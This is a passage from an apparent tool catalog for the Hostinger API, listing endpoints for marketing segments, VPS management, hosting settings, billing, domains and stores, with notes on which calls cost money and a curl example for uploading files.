profile's custom contact fields, its tags and its 20 most recently published campaigns, so the valid attributes cannot be hardcoded. Read it before creating or updating a segment to discover the valid `attribute`, `operator` and `value` combinations. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/filters/attributes. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_segmentation_segments (read) — Get a paginated list of the segments defined in a profile. Each entry carries the number of contacts currently matching it, which is recalculated on read rather than stored. Use `count_type` to count either every matching contact or only the subscribed ones. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/segments. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_segmentation_segments_by_segmentuuid (read) — Get a single segment of a profile, including the conditions that define it. To retrieve the contacts currently matching those conditions, use the segment contacts endpoint instead. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/segments/{segmentUuid}. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_segmentation_segments_by_segmentuuid_contacts (read) — Retrieve contacts associated with a specific segment for a given profile. This endpoint allows you to fetch and filter contacts that belong to a particular segment, identified by its UUID, scoped to a specific profile. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/segments/{segmentUuid}/contacts. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_segmentation_segments_by_segmentuuid_count (read) — Count the contacts currently matching a segment without listing them. Cheaper than paging through the segment contacts endpoint when only the size is needed. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/segments/{segmentUuid}/count. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_tags (read) — Get all tags defined in a profile. Tags are the way contacts are grouped in Reach, and can be used to filter the contact list or to build segments. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_templates (read) — Get a list of the email templates in a profile, most recently updated first. Templates are the reusable email bodies a campaign is built from. The list is not paginated and only the metadata is returned - the template content itself is not exposed. Use the `uuid` of a template as the `template_uuid` when creating a campaign. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/templates. Scopes: api. hostinger_get_api_reach_v1_segmentation_segments (read) — Get a list of all contact segments. This endpoint returns a list of contact segments that can be used to organize contacts. Deprecated. This endpoint cannot target a profile, so it always falls back to the client's default profile and cannot list the segments of any other profile. Use `GET /api/reach/v1/profiles/{profileUuid}/segmentation/segments` instead. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. GET /api/v1/hostinger/reach/v1/segmentation/segments. Scopes: api. hostinger_get_api_reach_v1_segmentation_segments_by_segmentuuid (read) — Get details of a specific segment. This endpoint retrieves information about a single segment identified by UUID. Segments are used to organize and group contacts based on specific criteria. Deprecated. This endpoint cannot target a profile, so it always falls back to the client's default profile and cannot read segments of any other profile. Use `GET /api/reach/v1/profiles/{profileUuid}/segmentation/segments/{segmentUuid}` instead. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. GET /api/v1/hostinger/reach/v1/segmentation/segments/{segmentUuid}. Scopes: api. hostinger_get_api_reach_v1_segmentation_segments_by_segmentuuid_contacts (read) — Retrieve contacts associated with a specific segment. This endpoint allows you to fetch and filter contacts that belong to a particular segment, identified by its UUID. Deprecated. This endpoint cannot target a profile, so it always falls back to the client's default profile and cannot read segments of any other profile. Use `GET /api/reach/v1/profiles/{profileUuid}/segmentation/segments/{segmentUuid}/contacts` instead. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. GET /api/v1/hostinger/reach/v1/segmentation/segments/{segmentUuid}/contacts. Scopes: api. hostinger_get_api_v2_direct_verifications_active (read) — Retrieve a list of pending and completed domain verifications. MEASURED BROKEN 2026-09-18: Hostinger validates the request and then answers 404 '[Hosting:9999] The route v2/direct/verifications/active could not be found' for every well-formed `domains` array, from an internal router. A bogus token answers 401 on the same call, so this is a provider-side defect rather than an authorization or plan problem. Expect a 404 until Hostinger repairs it. GET /api/v1/hostinger/v2/direct/verifications/active. Scopes: api. hostinger_get_api_vps_v1_data_centers (read) — Retrieve all available data centers. Use this endpoint to view location options before deploying VPS instances. GET /api/v1/hostinger/vps/v1/data-centers. Scopes: api. hostinger_get_api_vps_v1_firewall (read) — Retrieve all available firewalls. Use this endpoint to view existing firewall configurations. GET /api/v1/hostinger/vps/v1/firewall. Scopes: api. hostinger_get_api_vps_v1_firewall_by_firewallid (read) — Retrieve firewall by its ID and rules associated with it. Use this endpoint to view specific firewall configuration and rules. GET /api/v1/hostinger/vps/v1/firewall/{firewallId}. Scopes: api. hostinger_get_api_vps_v1_post_install_scripts (read) — Retrieve post-install scripts associated with your account. Use this endpoint to view available automation scripts for VPS deployment. GET /api/v1/hostinger/vps/v1/post-install-scripts. Scopes: api. hostinger_get_api_vps_v1_post_install_scripts_by_postinstallscriptid (read) — Retrieve post-install script by its ID. Use this endpoint to view specific automation script details. GET /api/v1/hostinger/vps/v1/post-install-scripts/{postInstallScriptId}. Scopes: api. hostinger_get_api_vps_v1_public_keys (read) — Retrieve public keys associated with your account. Use this endpoint to view available SSH keys for VPS authentication. GET /api/v1/hostinger/vps/v1/public-keys. Scopes: api. hostinger_get_api_vps_v1_templates (read) — Retrieve available OS templates for virtual machines. Use this endpoint to view operating system options before creating or recreating VPS instances. GET /api/v1/hostinger/vps/v1/templates. Scopes: api. hostinger_get_api_vps_v1_templates_by_templateid (read) — Retrieve detailed information about a specific OS template for virtual machines. Use this endpoint to view specific template specifications before deployment. GET /api/v1/hostinger/vps/v1/templates/{templateId}. Scopes: api. hostinger_get_api_vps_v1_virtual_machines (read) — Retrieve all available virtual machines. Use this endpoint to view available VPS instances. GET /api/v1/hostinger/vps/v1/virtual-machines. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid (read) — Retrieve detailed information about a specified virtual machine. Use this endpoint to view comprehensive VPS configuration and status. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_actions (read) — Retrieve actions performed on a specified virtual machine. Actions are operations or events that have been executed on the virtual machine, such as starting, stopping, or modifying the machine. This endpoint allows you to view the history of these actions, providing details about each action, such as the action name, timestamp, and status. Use this endpoint to view VPS operation history and troubleshoot issues. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/actions. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_actions_by_actionid (read) — Retrieve detailed information about a specific action performed on a specified virtual machine. Use this endpoint to monitor specific VPS operation status and details. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/actions/{actionId}. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_backups (read) — Retrieve backups for a specified virtual machine. Use this endpoint to view available backup points for VPS data recovery. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/backups. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_docker (read) — Retrieves a list of all Docker Compose projects currently deployed on the virtual machine. This endpoint returns basic information about each project including name, status, file path and list of containers with details about their names, image, status, health and ports. Container stats are omitted in this endpoint. If you need to get detailed information about container with stats included, use the `Get project containers` endpoint. Use this to get an overview of all Docker projects on your VPS instance. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname (read) — Retrieves the complete project information including the docker-compose.yml file contents, project metadata, and current deployment status. This endpoint provides the full configuration and state details of a specific Docker Compose project. Use this to inspect project settings, review the compose file, or check the overall project health. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname_containers (read) — Retrieves a list of all containers belonging to a specific Docker Compose project on the virtual machine. This endpoint returns detailed information about each container including their current status, port mappings, and runtime configuration. Use this to monitor the health and state of all services within your Docker Compose project. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}/containers. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname_logs (read) — Retrieves aggregated log entries from all services within a Docker Compose project. This endpoint returns recent log output from each container, organized by service name with timestamps. The response contains the last 300 log entries across all services. Use this for debugging, monitoring application behavior, and troubleshooting issues across your entire project stack. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}/logs. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_metrics (read) — Retrieve historical metrics for a specified virtual machine. It includes the following metrics: - CPU usage - Memory usage - Disk usage - Network usage - Uptime Use this endpoint to monitor VPS performance and resource utilization over time. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/metrics. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_monarx (read) — Retrieve scan metrics for the Monarx (https://www.monarx.com/) malware scanner installed on a specified virtual machine. The scan metrics provide detailed information about malware scans performed by Monarx, including number of scans, detected threats, and other relevant statistics. This information is useful for monitoring security status of the virtual machine and assessing effectiveness of the malware scanner. Use this endpoint to monitor VPS security scan results and threat detection. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/monarx. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_public_keys (read) — Retrieve public keys attached to a specified virtual machine. Use this endpoint to view SSH keys configured for specific VPS instances. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/public-keys. Scopes: api. hostinger_get_api_vps_v1_virtual_machines_by_virtualmachineid_snapshot (read) — Retrieve snapshot for a specified virtual machine. Use this endpoint to view current VPS snapshot information. GET /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/snapshot. Scopes: api. hostinger_patch_api_agency_hosting_v1_websites_by_website_uid_php_settings_version (write) — Switches an Agency Plan website to a different PHP version. Call the available versions endpoint first to see which versions can be selected. The website restarts on the new version, so requests served during the switch may fail and code that is incompatible with the target version will break. PATCH /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/php-settings/version. Scopes: api. hostinger_patch_api_agency_hosting_v1_websites_by_website_uid_wordpress_settings_version (write) — Changes the installed WordPress core version on an Agency Plan website to one of the versions available for installation. PATCH /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/wordpress/settings/version. Scopes: api. hostinger_patch_api_billing_v1_subscriptions_by_subscriptionid_auto_renewal_enable (write) — Enable auto-renewal for a subscription. Use this endpoint when enable auto-renewal for a subscription. COSTS MONEY LATER: this does not charge anything now, and that is the trap -- it commits the account to a future recurring charge, or changes which stored card every other charge is taken from. Nobody is asked again when the money actually moves. PATCH /api/v1/hostinger/billing/v1/subscriptions/{subscriptionId}/auto-renewal/enable. Scopes: api. hostinger_patch_api_ecommerce_v1_stores_by_store_id_products_by_product_id (write) — Update a product's name, description or status. Set status to published to make it buyable, draft to hide it, or archived to retire it. Variants, prices and inventory are managed through the variant endpoints, not here. Returns the updated product summary. PATCH /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}. Scopes: api. hostinger_patch_api_ecommerce_v1_stores_by_store_id_products_by_product_id_variants_batch (write) — Update up to 100 existing variants in place by id — title, inventory, stock tracking and prices. Variants omitted from the request are left untouched. Prices replace the variant's existing prices in full. Returns the updated variants. PATCH /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}/variants/batch. Scopes: api. hostinger_patch_api_ecommerce_v1_stores_by_store_id_sales_channels_by_sales_channel_id (write) — Update a custom sales channel. The merchant-facing `name` and the public `url` (returned as the channel `domain`) can be changed. Pass `null` to clear a value. PATCH /api/v1/hostinger/ecommerce/v1/stores/{store_id}/sales-channels/{sales_channel_id}. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_databases_by_name_change_password (write) — Changes the password for the specified database user. The database name must be the full name returned by the list databases endpoint. The password must also be updated in any website configuration that uses this database. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/databases/{name}/change-password. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_databases_by_name_repair (write) — Repairs corrupted database tables asynchronously. Use when database errors, crashes, or corruption are reported. The database name must be the full name returned by the list databases endpoint. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/databases/{name}/repair. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_websites_by_domain_cache_toggle (write) — Turns server-side caching for the website on or off, based on the enabled flag. Enable it for faster page loads, reduced server load, and improved user experience; recommended for production websites. Disabling may impact performance; to temporarily bypass caching while developing or debugging, prefer toggling cacheless mode instead. Does nothing if caching is already in the requested state. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/cache/toggle. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_websites_by_domain_cacheless_mode_toggle (write) — Turns development (cacheless) mode on or off, based on the enabled flag. When enabled, nothing is cached, effectively turning off all caching for the website; use it while actively developing, testing changes, debugging issues, or when real-time updates must be visible. Disable it after finishing development work to restore the performance benefits of caching. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/cacheless-mode/toggle. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_websites_by_domain_php_extensions (write) — Enables or disables PHP extensions (modules) for the website. Use the Get PHP details endpoint to check the current extension states before changing them. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/php/extensions. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_websites_by_domain_php_extensions_reset (write) — Resets all PHP extensions of the website to their default state. Use it to recover from extension conflicts or restore the original configuration. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/php/extensions/reset. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_websites_by_domain_php_options (write) — Updates PHP options for the website (e.g. `memory_limit`, `max_execution_time`, `upload_max_filesize`). Only provide the options you want to change, inside the `options` object. Values above the account plan limit are silently capped to that limit, so the request can succeed with a smaller applied value. Call the Get PHP details endpoint afterwards to read the applied value. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/php/options. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_websites_by_domain_php_version (write) — Changes the PHP version of the website. Use the Get PHP details endpoint to see the versions available for the website. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/php/version. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_websites_by_domain_ssl_https_redirect_toggle (write) — Turns the HTTP to HTTPS redirect of the website on or off, based on `is_enabled`. Does nothing when the redirect is already in the requested state. Turning it on requires an installed certificate (`status` `active` or `expired` on `Get SSL status`) and returns 422 when there is none; turning it off is always accepted. PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/ssl/https-redirect/toggle. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_wordpress_by_software_hostinger_plugins_ai_option_status (write) — Enable or disable an AI option for the Hostinger Tools plugin on the specified WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/hostinger-plugins/ai-option/status. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_wordpress_by_software_maintenance_toggle (write) — Enable or disable maintenance mode for the specified WordPress installation, based on the `enabled` flag. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/maintenance/toggle. Scopes: api. hostinger_patch_api_hosting_v1_accounts_by_username_wordpress_by_software_memcached_toggle (write) — Activate or deactivate the Memcached object cache for the specified WordPress installation, based on the `enabled` flag. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). PATCH /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/memcached/toggle. Scopes: api. hostinger_patch_api_mail_v1_forwarders_by_forwarderid_keep_copy (write) — Enable or disable keeping a copy of forwarded messages in the mailbox. PATCH /api/v1/hostinger/mail/v1/forwarders/{forwarderId}/keep-copy. Scopes: api. hostinger_patch_api_mail_v1_mailboxes_by_mailboxid_password (write) — Change the password of a mailbox. PATCH /api/v1/hostinger/mail/v1/mailboxes/{mailboxId}/password. Scopes: api. hostinger_patch_api_mail_v1_webhooks_by_webhookid (write) — Partially update a webhook. Only the fields included in the request body are changed; omitted fields retain their current values. Pass `"description": null` to clear the description. PATCH /api/v1/hostinger/mail/v1/webhooks/{webhookId}. Scopes: api. hostinger_patch_api_reach_v1_profiles_by_profileuuid_contacts_by_contactuuid (write) — Update a contact's attributes and custom field values. Only the properties present in the request body are changed, so a partial body is enough to change a single attribute. Sending a property as `null` clears it. The response carries the contact's core attributes. Read back its tags, custom field values, source and note with `GET /api/reach/v1/profiles/{profileUuid}/contacts/{contactUuid}`. PATCH /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/{contactUuid}. Scopes: api. hostinger_patch_api_reach_v1_profiles_by_profileuuid_contacts_fields_by_fielduuid (write) — Rename a custom contact field and, for the choice types, replace its option set. Options carrying a uuid are kept and relabelled, options without one are created, and any existing option left out of the list is deleted along with the values contacts hold for it. The field type and slug cannot be changed. PATCH /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/fields/{fieldUuid}. Scopes: api. hostinger_patch_api_reach_v1_profiles_by_profileuuid_tags_by_taguuid (write) — Rename a tag. The contacts assigned to the tag are unaffected. Names are unique within a profile, so renaming a tag to a name that is already taken is rejected. PATCH /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags/{tagUuid}. Scopes: api. hostinger_post_api_agency_hosting_v1_orders_by_order_id_websites_setups (write) — Provisions a new website on one of your Agency Plan hosting orders. Choose the datacenter, stack (`flavor`), and PHP version for the site. Optionally attach your own `domain` — omit it, set it to `null`, or leave it unavailable and a free `*.hostingersite.com` subdomain is generated instead — and/or install WordPress by supplying the `wordpress` details (admin account, site title, and language). Common setups: - Plain PHP site: `flavor` set to `php-fpm`, with `settings.php.version`; omit `wordpress` and `type`. - WordPress site: `flavor` set to the desired WordPress version (e.g. `wp-7.0`), plus the `wordpress` block (admin account, title, language). - Static/Node.js frontend app: `flavor` set to `php-fpm` and `type` set to `node-static`. Provisioning runs in the background, so the response returns immediately with a setup UUID that identifies the job. The new website becomes reachable once provisioning finishes. POST /api/v1/hostinger/agency-hosting/v1/orders/{order_id}/websites/setups. Scopes: api. hostinger_post_api_agency_hosting_v1_websites_by_website_uid_build_assets (write) — Builds and deploys a Node.js application for an Agency Plan website from an already-uploaded archive. Upload the archive to file browser first, then provide its relative path from document root in this request. Website contents are overwritten by the build result, which is deployed to public_html. POST /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/build-assets. Scopes: api. hostinger_post_api_agency_hosting_v1_websites_by_website_uid_cron_jobs (write) — Creates a cron job for an Agency Plan website from a schedule expression and a command. Returns the created cron job, including its uuid, which is required to delete the cron job. POST /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/cron-jobs. Scopes: api. hostinger_post_api_agency_hosting_v1_websites_by_website_uid_databases (write) — Creates a MySQL database with a dedicated user for an Agency Plan website. The database name, username, and password must all be provided by the caller. POST /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/databases. Scopes: api. hostinger_post_api_agency_hosting_v1_websites_by_website_uid_databases_by_database_name_users (write) — Creates a user for an existing database on an Agency Plan website. Each database supports a single non-system user; creating a user for a database that already has one fails. POST /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/databases/{database_name}/users. Scopes: api. hostinger_post_api_agency_hosting_v1_websites_by_website_uid_domains (write) — Links a domain to the specified Agency Plan website so it can serve traffic for that domain. POST /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/domains. Scopes: api. hostinger_post_api_agency_hosting_v1_websites_by_website_uid_files_import_archive (write) — Imports an Agency Plan website from an already-uploaded archive. Upload the archive to the website's root directory via file browser first, then provide its filename in this request. Website contents are overwritten by the archive contents. Supported archive types: .zip, .tar, .tar.gz, .tgz. POST /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/files/import-archive. Scopes: api. hostinger_post_api_agency_hosting_v1_websites_by_website_uid_files_upload_urls (write) — Generate a file browser upload URL with authentication credentials for uploading files to an Agency Plan website's file storage. Returns `url`, `auth_key` and `rest_auth_key`. Use these to upload a file to the website's file storage via the TUS resumable upload protocol (TUS 1.0.0). Send `X-Auth: {auth_key}` and `X-Auth-Rest: {rest_auth_key}` headers on every request below. 1. Create the upload: `POST` to `{url}/{relative_file_path}?override=true` with headers `upload-length: {file size in bytes}` and `upload-offset: 0`. Expect `201 Created`. 2. Upload the file: send the file bytes to the same location (any TUS 1.0.0 client, or `PATCH` requests with an `upload-offset` header tracking progress) until complete. `relative_file_path` is the destination path inside the website's file storage, e.g. `app.zip`. Instead of a TUS client, plain `curl` also works: ``` FILE=app.zip SIZE=$(stat -f%z "$FILE") # stat -c%s on Linux curl -i -X POST "{url}/${FILE}?override=true" \ -H "X-Auth: {auth_key}" \ -H "X-Auth-Rest: {rest_auth_key}" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: ${SIZE}" \ -H "Upload-Offset: 0" -> 201 Created: curl -i -X PATCH "{url}/${FILE}?override=true" \ -H "X-Auth: {auth_key}" \ -H "X-Auth-Rest: {rest_auth_key}" \ -H "Tus-Resumable: 1.0.0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Upload-Offset: 0" \ --data-binary "@${FILE}" -> 204 No Content, Upload-Offset response header equals SIZE when done: ```. POST /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/files/upload-urls. Scopes: api. hostinger_post_api_billing_v1_orders (write) — Create a purchase order for any Hostinger product. This unified endpoint places an order for one or more catalog items and works across all Hostinger products, leveraging the existing billing infrastructure. Use the catalog endpoint (#tag/billing-catalog) to look up the `item_id` values available for purchase. If no payment method is provided, your default payment method will be used automatically. If the response is `202 Accepted`, the payment is still being processed and the order will complete asynchronously once the payment is confirmed. This endpoint only places the order. Product-specific provisioning (e.g. VPS setup or domain registration) is not performed here — once the order completes, use the relevant product endpoints or hPanel (https://hpanel.hostinger.com/) to finalize setup. Use this endpoint to purchase any product available in the catalog. SPENDS MONEY: this places a PAID order against the account's billing profile and stored payment method. It is not a dry run and there is no confirmation step. POST /api/v1/hostinger/billing/v1/orders. Scopes: api. hostinger_post_api_billing_v1_payment_methods_by_paymentmethodid (write) — Set the default payment method for your account. Use this endpoint to configure the primary payment method for future orders. COSTS MONEY LATER: this does not charge anything now, and that is the trap -- it commits the account to a future recurring charge, or changes which stored card every other charge is taken from. Nobody is asked again when the money actually moves. POST /api/v1/hostinger/billing/v1/payment-methods/{paymentMethodId}. Scopes: api. hostinger_post_api_billing_v1_subscriptions_by_subscriptionid_renew (write) — Create a renewal order for an existing Hostinger subscription. This endpoint places a renewal order for a single subscription, leveraging the existing billing infrastructure. Use the subscriptions endpoint (#tag/billing-subscriptions) to look up the `subscriptionId` values available for renewal. If no payment method is provided, your default payment method will be used automatically. If the response is `202 Accepted`, the payment is still being processed and the renewal will complete asynchronously once the payment is confirmed. Use this endpoint to renew any subscription available in your account. SPENDS MONEY: this places a PAID order against the account's billing profile and stored payment method. It is not a dry run and there is no confirmation step. POST /api/v1/hostinger/billing/v1/subscriptions/{subscriptionId}/renew. Scopes: api. hostinger_post_api_dns_v1_snapshots_by_domain_by_snapshotid_restore (write) — Restore DNS zone to the selected snapshot. Use this endpoint to revert domain DNS to a previous configuration. POST /api/v1/hostinger/dns/v1/snapshots/{domain}/{snapshotId}/restore. Scopes: api. hostinger_post_api_dns_v1_zones_by_domain_reset (write) — Reset DNS zone to the default records. Use this endpoint to restore domain DNS to original configuration. POST /api/v1/hostinger/dns/v1/zones/{domain}/reset. Scopes: api. hostinger_post_api_dns_v1_zones_by_domain_validate (write) — Validate DNS records prior to update for the selected domain. If the validation is successful, the response will contain `200 Success` code. If there is validation error, the response will fail with `422 Validation error` code. Use this endpoint to verify DNS record validity before applying changes. POST /api/v1/hostinger/dns/v1/zones/{domain}/validate. Scopes: api. hostinger_post_api_domains_v1_availability (write) — Check availability of domain names across multiple TLDs. Multiple TLDs can be checked at once. If you want alternative domains with response, provide only one TLD and set `with_alternatives` to `true`. TLDs should be provided without leading dot (e.g. `com`, `net`, `org`). Endpoint has rate limit of 90 requests per minute. Use this endpoint to verify domain availability before purchase. POST /api/v1/hostinger/domains/v1/availability. Scopes: api. hostinger_post_api_domains_v1_availability_alternatives_from_description (write) — Suggest available domain names based on a free-text description of your project. Suggestions are generated by an AI model, so they differ between calls. Endpoint has rate limit of 90 requests per minute. Use this endpoint to find a domain name when you only know what the website is about. POST /api/v1/hostinger/domains/v1/availability/alternatives-from-description. Scopes: api. hostinger_post_api_domains_v1_availability_alternatives_from_domain (write) — Suggest available domain names based on a domain name you already have in mind. Suggestions are generated by an AI model, so they differ between calls. Endpoint has rate limit of 90 requests per minute. Use this endpoint when the domain you wanted is taken and you need close alternatives. POST /api/v1/hostinger/domains/v1/availability/alternatives-from-domain. Scopes: api. hostinger_post_api_domains_v1_forwarding (write) — Create domain forwarding configuration. Use this endpoint to set up domain redirects to other URLs. POST /api/v1/hostinger/domains/v1/forwarding. Scopes: api. hostinger_post_api_domains_v1_move_outgoing_by_domain (write) — Initiate a move of a specified domain to another Hostinger account. The receiving account has to already exist and accept the move before the domain changes hands. The domain must be active. The subscription it belongs to is resolved automatically, and the request is rejected with a 404 status code when the domain has no domain subscription of its own. Domains protected by premium protection require an additional verification step, such requests are rejected with a 428 status code. Use this endpoint to hand a domain over to another Hostinger user. POST /api/v1/hostinger/domains/v1/move/outgoing/{domain}. Scopes: api. hostinger_post_api_domains_v1_portfolio (write) — Purchase and register a new domain name. If registration fails, login to hPanel (https://hpanel.hostinger.com/) and check domain registration status. If no payment method is provided, your default payment method will be used automatically. If the response is `202 Accepted`, the payment is still being processed and the domain was not registered. Once the order completes, register the domain from hPanel (https://hpanel.hostinger.com/). If no WHOIS information is provided, default contact information for that TLD will be used. Before making request, ensure WHOIS information for desired TLD exists in your account. Some TLDs require `additional_details` to be provided and these will be validated before completing purchase. Use this endpoint to register new domains for users. SPENDS MONEY: this places a PAID order against the account's billing profile and stored payment method. It is not a dry run and there is no confirmation step. POST /api/v1/hostinger/domains/v1/portfolio. Scopes: api. hostinger_post_api_domains_v1_portfolio_by_domain_setup (write) — Register a domain you have already paid for but which has not been set up yet. Use this endpoint when an order completed without registering the domain, for example when `Purchase new domain` returned `202 Accepted` and the domain was added to your account without being registered, or when an earlier setup attempt failed. No new order is placed and no payment is taken: the subscription you already own is used, for the period you already paid for. A domain is left awaiting setup when the details needed to register it were missing or invalid as the order completed. Domains ordered elsewhere can be awaiting setup for the same reason. Complete the missing information, then call this endpoint. If the order itself has not completed yet, the domain is not on your account, wait until it appears in `Get domain list`. If `domain_contacts` is omitted, the default WHOIS profile of that TLD is used for all four roles. The profile must exist and be complete for the TLD, an incomplete profile is the most common reason a domain is left awaiting setup. Create one with `Create WHOIS profile`. Some TLDs require `additional_details`. These are validated before setup, so a missing or invalid value is rejected without any registration being attempted. The domain is set up with the default nameservers and without privacy protection. Use `Update domain nameservers` and `Enable privacy protection` afterwards to change either. A successful response means the setup request was accepted, not that the domain is already registered. Poll `Get domain list` for the outcome, the domain appears in `Get domain details` only once it is registered. Use this endpoint to finish registering a domain that is awaiting setup on your account. POST /api/v1/hostinger/domains/v1/portfolio/{domain}/setup. Scopes: api. hostinger_post_api_domains_v1_portfolio_claim (write) — Claim a free domain available on your account and register it. Unlike purchasing a domain, this consumes a free domain you already have, so no payment method is required. A successful response means the domain is registered. If registration fails, login to hPanel (https://hpanel.hostinger.com/) and check domain registration status. If no WHOIS information is provided, default contact information for that TLD will be used. Before making request, ensure WHOIS information for desired TLD exists in your account. Some TLDs require `additional_details` to be provided and these will be validated before claiming. Requests which cannot be fulfilled are rejected with an error code in the response body, for example `2037` when no free domain is available. Use this endpoint to register a domain using a free domain from your account. CONSUMES A ONE-TIME ENTITLEMENT: this spends the free domain (or free transfer) allowance included with the account's plan. It costs nothing at the till and CANNOT BE UNDONE -- the allowance is gone, on whatever domain this call names. POST /api/v1/hostinger/domains/v1/portfolio/claim. Scopes: api. hostinger_post_api_domains_v1_transfers_claim (write) — Claim a free domain transfer available on your account and start the transfer. Unlike purchasing a transfer, this consumes a free domain transfer you already have, so no payment method is required. Before making request, unlock the domain at the current registrar and get its authorization code. The transfer is validated first, so domains which cannot be transferred are rejected before the free domain transfer is consumed. A successful response means the transfer has been started. Completion depends on the current registrar and can be followed with the transfer list endpoint (#tag/domains-transfer). If no WHOIS information is provided, default contact information for that TLD will be used. Before making request, ensure WHOIS information for desired TLD exists in your account. Requests which cannot be fulfilled are rejected with an error code in the response body. Use this endpoint to transfer a domain using a free domain transfer from your account. CONSUMES A ONE-TIME ENTITLEMENT: this spends the free domain (or free transfer) allowance included with the account's plan. It costs nothing at the till and CANNOT BE UNDONE -- the allowance is gone, on whatever domain this call names. POST /api/v1/hostinger/domains/v1/transfers/claim. Scopes: api. hostinger_post_api_domains_v1_whois (write) — Create WHOIS contact profile. Use this endpoint to add new contact information for domain registration. POST /api/v1/hostinger/domains/v1/whois. Scopes: api. hostinger_post_api_ecommerce_v1_stores (write) — Create a new store for your account. A primary sales channel is created alongside the store. POST /api/v1/hostinger/ecommerce/v1/stores. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_discounts (write) — Create a discount for a store. Fixed discounts take an amount in the smallest currency unit (e.g. $10 is 1000); percentage discounts take a whole-number value between 1 and 100. Free-shipping discounts ignore value. Returns the created discount. POST 